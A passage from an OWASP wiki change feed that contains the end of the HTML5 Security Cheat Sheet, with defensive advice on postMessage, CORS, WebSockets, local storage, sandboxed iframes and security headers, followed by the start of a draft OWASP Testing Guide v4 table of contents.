*Don't assume you have control over data attribute. Single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] flaw in sending page allows attacker to send messages of any given format.&lt;br /&gt;
*Both pages should only interpret the exchanged messages as '''data'''. Never evaluate passed messages as code (e.g. via eval() )&amp;amp;nbsp;or insert it to a page DOM (e.g. via&amp;amp;nbsp;innerHTML) as that would create a DOM based XSS vulnerability. For more information see [[DOM based XSS Prevention Cheat Sheet|DOM based XSS Prevention Cheat Sheet]].&lt;br /&gt;
*To assign the data value to an element, instead of using a insecure method like &amp;lt;tt&amp;gt;element.innerHTML = data;&amp;lt;/tt&amp;gt; use the safer option &amp;lt;tt&amp;gt;element.textContent = data;&amp;lt;/tt&amp;gt;&lt;br /&gt;
*Check the origin properly exactly to match the FQDN(s) you expect. Note that the following code: &amp;lt;tt&amp;gt; if(message.orgin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) { /* ... */ }&amp;lt;/tt&amp;gt; is very insecure and will not have the desired behavior as www.owasp.org.attacker.com will match.&lt;br /&gt;
*If you need to embed external content/untrusted gadgets and allow user-controlled scripts which is highly discouraged, consider use a JavaScript rewriting framework such as [http://code.google.com/p/google-caja/ Google Caja] or check the information on [[#Sandboxed frames|sandboxed frames]]&lt;br /&gt;
&lt;br /&gt;
=== Cross Origin Resource Sharing  ===&lt;br /&gt;
&lt;br /&gt;
*Validate URLs passed to &amp;lt;tt&amp;gt;XMLHttpRequest.open&amp;lt;/tt&amp;gt;, current browsers allow these URLs to be cross domain and this behavior can lead to code injection by a remote attacker. Pay extra attention to absolute URLs.&lt;br /&gt;
*Ensure that URLs responding with &amp;lt;tt&amp;gt;Access-Control-Allow-Origin: *&amp;lt;/tt&amp;gt; do not include any sensitive content or information that might aid attacker in further attacks. Use &amp;lt;tt&amp;gt;Access-Control-Allow-Origin&amp;lt;/tt&amp;gt; header only on chosen URLs that need to be accessed cross-domain. Don't use the header for the whole domain. &lt;br /&gt;
*Take special care when using &amp;lt;tt&amp;gt;Access-Control-Allow-Credentials: true&amp;lt;/tt&amp;gt; response header. Whitelist the allowed Origins and never echo back the &amp;lt;tt&amp;gt;Origin&amp;lt;/tt&amp;gt; request header in &amp;lt;tt&amp;gt;Access-Control-Allow-Origin&amp;lt;/tt&amp;gt;. &lt;br /&gt;
*Allow only selected, trusted domains in &amp;lt;tt&amp;gt;Access-Control-Allow-Origin&amp;lt;/tt&amp;gt; header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use &amp;lt;tt&amp;gt;*&amp;lt;/tt&amp;gt; wildcard or blindly echo back the &amp;lt;tt&amp;gt;Origin&amp;lt;/tt&amp;gt; header content without any checks). &lt;br /&gt;
*Keep in mind that CORS does not prevent the requested data from going to an un-authenticated location - it's still important for the server to perform usual [[Cross-Site Request Forgery (CSRF)|CSRF]] prevention. &lt;br /&gt;
*While the RFC recommends a pre-flight request with the &amp;lt;tt&amp;gt;OPTIONS&amp;lt;/tt&amp;gt; verb, current implementations might not perform this request, so it's important that &amp;quot;ordinary&amp;quot; (&amp;lt;tt&amp;gt;GET&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;POST&amp;lt;/tt&amp;gt;) requests perform any access control necessary.&lt;br /&gt;
*For performance reasons pre-flight requests may be cached in client-side for certain amount of time (controlled by Access-Control-Max-Age header). The security model of CORS can be bypassed in case of header injection vulnerabilities in combination with pre-flight caching so add measures to prevent [[HTTP_Response_Splitting]] vulnerabilities in server side.&lt;br /&gt;
*Discard requests received over plain HTTP with HTTPS origins to prevent mixed content bugs.&lt;br /&gt;
*Don't rely only on the Origin header for Access Control checks. Browser always sends this header in CORS requests, but may be spoofed outside the browser. Application-level protocols should be used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
=== WebSockets  ===&lt;br /&gt;
&lt;br /&gt;
*Drop backward compatibility in implemented client/servers and use only protocol versions above hybi-00. Popular Hixie-76 version (hiby-00) and olders are outdated and insecure. &lt;br /&gt;
*Recommended version supported in latest versions of all current browsers is [http://tools.ietf.org/html/rfc6455 RFC 6455] (Supported by Firefox 11+, Chrome 16+, Safari 6, Opera 12.50 and IE10).&lt;br /&gt;
*While it is relatively easy to tunnel TCP services through WebSockets (e.g. VNC, FTP), doing so enables access to these tunneled services for the in-browser attacker in case of a Cross-Site-Scripting attack. These services might also be called directly from a malicious page or program. &lt;br /&gt;
*The protocol doesn't handle authorization and/or authentication. Application-level protocols should handle that separately in case sensitive data is being transferred.&lt;br /&gt;
*Process the messages received by the websocket as data. Don't try to assign it directly to the DOM nor evaluate as code. If the response is JSON never use the insecure eval() function, use the safe option JSON.parse() instead.&lt;br /&gt;
*Endpoints exposed through &amp;lt;tt&amp;gt;ws://&amp;lt;/tt&amp;gt; protocol are easily reversible to plaintext. Only &amp;lt;tt&amp;gt;wss://&amp;lt;/tt&amp;gt; (WebSockets over SSL/TLS) should be used for protection against Man-In-The-Middle attacks &lt;br /&gt;
*Spoofing the client is possible outside browser, so WebSockets server should be able to handle incorrect/malicious input. Always validate input coming from the remote site, as it might have been altered. &lt;br /&gt;
*When implementing servers, check the &amp;lt;tt&amp;gt;Origin:&amp;lt;/tt&amp;gt; header in Websockets handshake. Though it might be spoofed outside browser, browsers always add the Origin of the page which initiated Websockets connection. &lt;br /&gt;
*As WebSockets client in browser is accessible through Javascript calls, all Websockets communication can be spoofed or hijacked through [[Cross Site Scripting Flaw|Cross-Site-Scripting]]. Always validate data coming through WebSockets connection.&lt;br /&gt;
&lt;br /&gt;
=== Server-Sent Events ===&lt;br /&gt;
&lt;br /&gt;
*Validate URLs passed to the &amp;lt;tt&amp;gt;EventSource&amp;lt;/tt&amp;gt; constructor, even though only same-origin URLs are allowed.&lt;br /&gt;
*As mentioned before, process the messages (&amp;lt;tt&amp;gt;event.data&amp;lt;/tt&amp;gt;) as data and never evaluate the content as HTML or script code.&lt;br /&gt;
*Check always the origin attribute of the message (&amp;lt;tt&amp;gt;event.origin&amp;lt;/tt&amp;gt;) to ensure the message is coming from a trusted domain, use a whitelist approach.&lt;br /&gt;
&lt;br /&gt;
== Storage APIs ==&lt;br /&gt;
&lt;br /&gt;
=== Local Storage ===&lt;br /&gt;
&lt;br /&gt;
*Also known as Offline Storage, Web Storage. Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage.&lt;br /&gt;
*Use the object sessionStorage instead of localStorage if persistent storage is not needed. sessionStorage object is available only to that window/tab until the window is closed.&lt;br /&gt;
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to steal all the data in these objects, so again it's recommended not to store sensitive information in local storage.&lt;br /&gt;
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into these objects too, so don't consider objects in these to be trusted.&lt;br /&gt;
*Pay extra attention to “localStorage.getItem” and “setItem” calls implemented in HTML5 page. It helps in detecting when developers build solutions that put sensitive information in local storage, which is a bad practice.&lt;br /&gt;
*Do not store session identifiers in local storage as the data is always accesible by JavaScript. Cookies can mitigate this risk using the &amp;lt;tt&amp;gt;httpOnly&amp;lt;/tt&amp;gt; flag.&lt;br /&gt;
*There is no way to restrict the visibility of an object to a specific path like with the attribute path of HTTP Cookies, every object is shared within an origin and protected with the Same Origin Policy. Avoid host multiple applications on the same origin, all of them would share the same localStorage object, use different subdomains instead.&lt;br /&gt;
&lt;br /&gt;
=== Client-side databases  ===&lt;br /&gt;
&lt;br /&gt;
*On November 2010 the W3C announced Web SQL Database (relational SQL database) as a deprecated specification. A new standard Indexed Database API or IndexedDB (formerly WebSimpleDB) is actively developed which provides key/value database storage and methods for performing advanced queries.&lt;br /&gt;
*Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage. &lt;br /&gt;
*If utilized, WebDatabase content on client side can be vulnerable to SQLInjection and needs to have proper validation and parametrization.&lt;br /&gt;
*Like Local Storage, a single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into a web database too, so don't consider data in these to be trusted either.&lt;br /&gt;
&lt;br /&gt;
== Geolocation  ==&lt;br /&gt;
&lt;br /&gt;
*The Geolocation RFC recommends that the user agent ask the user's permission before calculating location, but whether or how this decision is remembered varies from browser to browser. Some user agents require the user to visit the page again in order to turn off the ability to get the user's location without asking, so for privacy reasons, it's recommended to require user input before calling &amp;lt;tt&amp;gt;getCurrentPosition&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;watchPosition&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Web Workers  ==&lt;br /&gt;
&lt;br /&gt;
*Web Workers are allowed to use &amp;lt;tt&amp;gt;XMLHttpRequest&amp;lt;/tt&amp;gt; object to perform in-domain and Cross Origin Resource Sharing requests. See relevant section of this Cheat Sheet to ensure CORS security. &lt;br /&gt;
*While Web Workers don't have access to DOM of the calling page, malicious Web Workers can use excessive CPU for computation, leading to Denial of Service condition or abuse Cross Origin Resource Sharing for further exploitation. Ensure code in all Web Workers scripts is not malevolent. Don't allow creating Web Worker scripts from user supplied input. &lt;br /&gt;
*Validate messages exchanged with a Web Worker. Do not try to exchange snippets of Javascript for evaluation e.g. via eval() as that could introduce a&amp;amp;nbsp;[[DOM Based XSS|DOM Based XSS]]&amp;amp;nbsp;vulnerability.&lt;br /&gt;
&lt;br /&gt;
== Sandboxed frames  ==&lt;br /&gt;
&lt;br /&gt;
*Use the &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute of an &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt; for untrusted content&lt;br /&gt;
&lt;br /&gt;
*The &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute of an &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt; enables restrictions on content within a &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt;. The following restrictions are active when the &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute is set:&lt;br /&gt;
&lt;br /&gt;
#All markup is treated as being from a unique origin &lt;br /&gt;
#All forms and scripts are disabled &lt;br /&gt;
#All links are prevented from targeting other browsing contexts &lt;br /&gt;
#All features that triggers automatically are blocked &lt;br /&gt;
#All plugins are disabled&lt;br /&gt;
&lt;br /&gt;
It is possible to have a [http://www.whatwg.org/specs/web-apps/current-work/multipage/the-iframe-element.html#attr-iframe-sandbox fine-grained control] over &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt; capabilities using the value of the &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute.&lt;br /&gt;
&lt;br /&gt;
*In old versions of user agents where this feature is not supported this attributed will be ignored. Use this feature as an additional layer of protection or check if the browser supports sandboxed frames and only show the untrusted content if supported.&lt;br /&gt;
*Apart from this attribute, to prevent Clickjacking attacks and unsolicited framing it is encouraged to use the header &amp;lt;tt&amp;gt;X-Frame-Options&amp;lt;/tt&amp;gt; which supports the &amp;lt;tt&amp;gt;deny&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;same-origin&amp;lt;/tt&amp;gt; values. Other solutions like framebusting &amp;lt;tt&amp;gt;if(window!== window.top) { window.top.location = location; }&amp;lt;/tt&amp;gt; are not recommended.&lt;br /&gt;
&lt;br /&gt;
== Offline Applications ==&lt;br /&gt;
&lt;br /&gt;
*Wether the user agent requests permission to the user to store data for offline browsing and when this cache is deleted vary from one browser to the next. Cache poisoning is an issue if a user connects through insecure networks, so for privacy reasons it is encouraged to require user input before sending any &amp;lt;tt&amp;gt;manifest&amp;lt;/tt&amp;gt; file.&lt;br /&gt;
*Users should only cache trusted websites and clean the cache after browsing through open or insecure networks.&lt;br /&gt;
&lt;br /&gt;
== Progressive Enhancements and Graceful Degradation Risks  ==&lt;br /&gt;
&lt;br /&gt;
*The best practice now is to determine the capabilities that a browser supports and augment with some type of substitute for capabilities that are not directly supported. This may mean an onion-like element, e.g. falling through to a Flash Player if the &amp;amp;lt;video&amp;amp;gt; tag is unsupported, or it may mean additional scripting code from various sources that should be code reviewed.&lt;br /&gt;
&lt;br /&gt;
== HTTP Headers to enhance security ==&lt;br /&gt;
&lt;br /&gt;
=== X-Frame-Options ===&lt;br /&gt;
&lt;br /&gt;
*This header can be used to prevent ClickJacking in modern browsers (IE6/IE7 don't support this header)&lt;br /&gt;
*Use the &amp;lt;tt&amp;gt;same-origin&amp;lt;/tt&amp;gt; attribute to allow being framed from urls of the same origin or &amp;lt;tt&amp;gt;deny&amp;lt;/tt&amp;gt; to block all. Example: &amp;lt;tt&amp;gt;X-Frame-Options: DENY&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== X-XSS-Protection ===&lt;br /&gt;
&lt;br /&gt;
*Enable XSS filter (only works for Reflected XSS)&lt;br /&gt;
*Example: &amp;lt;tt&amp;gt;X-XSS-Protection: 1; mode=block&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Strict Transport Security ===&lt;br /&gt;
&lt;br /&gt;
*Force every browser request to be sent over TLS/SSL (this can prevent SSL strip attacks)&lt;br /&gt;
*Use includeSubDomains&lt;br /&gt;
*Example: Strict-Transport-Security: max-age=8640000; includeSubDomains&lt;br /&gt;
&lt;br /&gt;
=== Content Security Policy ===&lt;br /&gt;
&lt;br /&gt;
*Policy to define a set of content restrictions for web resources which aims to mitigate web application vulnerabilities such as Cross Site Scripting&lt;br /&gt;
*Example:  X-Content-Security-Policy: allow 'self'; img-src *; object-src media.example.com; script-src js.example.com&lt;br /&gt;
&lt;br /&gt;
=== Origin ===&lt;br /&gt;
&lt;br /&gt;
*Sent by CORS/WebSockets requests&lt;br /&gt;
*There is a proposal to use this header to mitigate CSRF attacks, but is not yet implemented by vendors for this purpose.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Mark Roxberry - mark.roxberry [at] owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Krzysztof Kotowicz - krzysztof [at] kotowicz.net &amp;lt;br/&amp;gt;&lt;br /&gt;
Will Stranathan - will [at] cltnc.us &amp;lt;br/&amp;gt;&lt;br /&gt;
Shreeraj Shah - shreeraj.shah [at] blueinfy.net &amp;lt;br/&amp;gt;&lt;br /&gt;
Juan Galiana Lara - jgaliana [at] owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=157951</id>
		<title>OWASP Testing Guide v4 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=157951"/>
				<updated>2013-09-05T13:58:06Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&lt;br /&gt;
'''This is the DRAFT of the table of content of the New Testing Guide v4.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide Project:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
'''Updated: 15th February 2013'''&lt;br /&gt;
&lt;br /&gt;
[[ OWTGv4 Contributors list|'''Contributors List]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following is a DRAFT of the Toc based on the feedback already received.&lt;br /&gt;
&lt;br /&gt;
== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|Foreword by Eoin Keary]]== &lt;br /&gt;
[To review--&amp;gt; Eoin Keary -&amp;gt; Done!!]&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |1. Frontispiece]]== &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]''' &lt;br /&gt;
[To review--&amp;gt; ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]&lt;br /&gt;
&lt;br /&gt;
2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Information Gathering|'''4.2 Information Gathering ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly &amp;quot;Search Engine Discovery/Reconnaissance (OWASP-IG-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly &amp;quot;Spiders, Robots and Crawlers (OWASP-IG-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly &amp;quot;Application Discovery (OWASP-IG-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly &amp;quot;Review webpage comments and metadata(OWASP-IG-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly &amp;quot;Identify application entry points (OWASP-IG-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.7 Identify application exit/handover points (OTG-INFO-007) ]] formerly &amp;quot;Identify application exit/handover points (OWASP-IG-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.8 Map execution paths through application (OTG-INFO-008)]] formerly &amp;quot;Map execution paths through application (OWASP-IG-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.9 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.10 Fingerprint Web Application (OTG-INFO-010) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.11 Map Network and Application Architecture (OTG-INFO-011) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly &amp;quot;Testing for Application Configuration Management weakness (OWASP-CM-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling  (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly &amp;quot;Testing for File Extensions Handling  (OWASP-CM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly &amp;quot;Old, Backup and Unreferenced Files (OWASP-CM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces  (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly &amp;quot;Infrastructure and Application Admin Interfaces  (OWASP-CM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST  (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly &amp;quot;Testing for Bad HTTP Methods (OWASP-CM-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly &amp;quot;Testing for Database credentials/connection strings available (OWASP-CM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly &amp;quot;Testing for Content Security Policy weakness (OWASP-CM-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Missing HSTS header|4.3.9 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly &amp;quot;Testing for Missing HSTS header (OWASP-CM-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for RIA policy files weakness|4.3.11 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly &amp;quot;Testing for RIA policy files weakness (OWASP-CM-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Identity Management|'''4.4 Identity Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly &amp;quot;Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly &amp;quot;Testing for Weak or unenforced username policy (OWASP-AT-009)&lt;br /&gt;
&lt;br /&gt;
[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''4.5 Authentication Testing ''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel  (OTG-AUTHN-001)]] formerly &amp;quot;Testing for Credentials Transported over an Encrypted Channel  (OWASP-AT-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly &amp;quot;Testing for default credentials (OWASP-AT-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly &amp;quot;Testing for Weak lock out mechanism (OWASP-AT-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly &amp;quot;Testing for bypassing authentication schema (OWASP-AT-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly &amp;quot;Testing for vulnerable remember password functionality (OWASP-AT-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly &amp;quot;Testing for Browser cache weakness (OWASP-AT-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly &amp;quot;Testing for Weak password policy (OWASP-AT-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel&lt;br /&gt;
&lt;br /&gt;
[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly &amp;quot;Testing for weak password change or reset functionalities (OWASP-AT-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''4.6 Authorization Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Path Traversal  (OWASP-AZ-001)|4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly &amp;quot;Testing Directory traversal/file include (OWASP-AZ-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema  (OWASP-AZ-002)|4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly &amp;quot;Testing for bypassing authorization schema  (OWASP-AZ-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
